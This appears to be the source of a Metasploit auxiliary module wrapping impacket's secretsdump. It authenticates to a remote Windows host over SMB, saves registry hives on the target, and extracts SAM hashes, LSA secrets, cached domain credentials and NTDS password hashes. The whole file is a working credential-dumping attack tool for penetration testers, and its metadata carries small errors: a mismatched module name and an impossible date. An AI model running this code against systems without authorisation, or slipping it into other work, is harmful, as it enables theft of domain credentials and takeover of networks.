rapid7/metasploit-framework

View on GitHub
modules/auxiliary/scanner/smb/impacket/secretsdump.py

Summary

Maintainability
C
1 day
Test Coverage
#!/usr/bin/env python3
# Copyright (c) 2003-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#

import codecs
import logging
import os
import sys
import traceback

try:
    from impacket import version
    from impacket.examples import logger
    from impacket.smbconnection import SMBConnection

    from impacket.examples.secretsdump import LocalOperations, \
        RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
except ImportError:
    dependencies_missing = True
else:
    dependencies_missing = False

import _msf_impacket
import metasploit.module as module

metadata = {
    'name': 'DCOM Exec',
    'description': '''
        Performs various techniques to dump hashes from the remote machine
        without executing any agent there. For SAM and LSA Secrets (including
        cached creds) we try to read as much as we can from the registry and
        then we save the hives in the target system (%SYSTEMROOT%\\Temp dir) and
        read the rest of the data from there.
     ''',
    'authors': ['Alberto Solino', 'Spencer McIntyre'],
    'date': '2018-03-32',
    'license': 'CORE_LICENSE',
    'references': [
        {'type': 'url', 'ref': 'https://github.com/gentilkiwi/kekeo/tree/master/dcsync'},
        {'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html'},
        {'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html'},
        {'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html'},
        {'type': 'url', 'ref': 'http://www.quarkslab.com/en-blog+read+13'},
        {'type': 'url', 'ref': 'https://code.google.com/p/creddump/'},
        {'type': 'url', 'ref': 'http://lab.mediaservice.net/code/cachedump.rb'},
        {'type': 'url', 'ref': 'https://web.archive.org/web/20140207114722/http://insecurety.net/?p=768'},
        {'type': 'url', 'ref': 'http://www.beginningtoseethelight.org/ntsecurity/index.htm'},
        {'type': 'url', 'ref': 'http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf'},
        {'type': 'url', 'ref': 'http://www.passcape.com/index.php?section=blog&cmd=details&id=15'},
        {'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py'}
     ],
    'type': 'single_scanner',
    'options': {
        'ExecMethod': {'type': 'enum',   'description': 'The method to use for execution', 'required': True, 'default': 'smbexec', 'values': ['smbexec', 'wmiexec', 'mmcexec']},
        'OutputFile': {'type': 'string', 'description': 'Write the results to a file', 'required': False},
        'SMBDomain':  {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'},
        'SMBPass':    {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None},
        'SMBUser':    {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None},
    },
    'notes': {
        'AKA': ['secretsdump.py']
    }
}


class DumpSecrets:
    def __init__(self, remoteName, username='', password='', domain='', outputFile=None, execMethod='smbexec'):
        self.__useVSSMethod = False
        self.__remoteName = remoteName
        self.__remoteHost = remoteName
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = None
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = None
        self.__securityHive = None
        self.__samHive = None
        self.__ntdsFile = None
        self.__history = False
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = outputFile
        self.__doKerberos = False
        self.__justDC = False
        self.__justDCNTLM = False
        self.__justUser = None
        self.__pwdLastSet = False
        self.__printUserStatus = False
        self.__resumeFileName = None
        self.__canProcessSAMLSA = True
        self.__kdcHost = None
        self.__execMethod = execMethod


    def connect(self):
        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                localOperations = LocalOperations(self.__systemHive)
                bootKey = localOperations.getBootKey()
                if self.__ntdsFile is not None:
                    # Let's grab target's configuration about LM Hashes storage
                    self.__noLMHash = localOperations.checkNoLMHashPolicy()
            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except:
                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug('SMBConnection didn\'t work, hoping Kerberos will help')
                            pass
                        else:
                            raise

                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__execMethod)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey             = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName         = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName         = self.__samHive

                    self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote, perSecretCallback=self.perSecretCallback1)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
                                                   isRemote=self.__isRemote, history=self.__history,
                                                   perSecretCallback=self.perSecretCallback2)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    logging.error('LSA hashes extraction failed: %s' % str(e), exc_info=True)

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
                                           noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
                                           useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
                                           pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
                                           outputFileName=self.__outputFileName, justUser=self.__justUser,
                                           printUserStatus=self.__printUserStatus, perSecretCallback=self.perSecretCallback2)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e, exc_info=True)
                if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
                    logging.info("You just got that error because there might be some duplicates of the same name. "
                                 "Try specifying the domain name for the user as well. It is important to specify it "
                                 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
                elif self.__useVSSMethod is False:
                    logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            logging.error(e, exc_info=True)
            try:
                self.cleanup()
            except:
                pass

    def perSecretCallback1(self, secret):
        module.log(secret, 'good')

    def perSecretCallback2(self, secretType, secret):
        module.log(secret, 'good')

    def cleanup(self):
        logging.info('Cleaning up... ')
        if self.__remoteOps:
            self.__remoteOps.finish()
        if self.__SAMHashes:
            self.__SAMHashes.finish()
        if self.__LSASecrets:
            self.__LSASecrets.finish()
        if self.__NTDSHashes:
            self.__NTDSHashes.finish()


def run(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket) missing, cannot continue', level='error')
        return

    _msf_impacket.pre_run_hook(args)
    dumper = DumpSecrets(args['rhost'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], args['OutputFile'], args['ExecMethod'])
    try:
        dumper.dump()
    except Exception as e:
        logging.error(e, exc_info=True)

if __name__ == "__main__":
    module.run(metadata, run)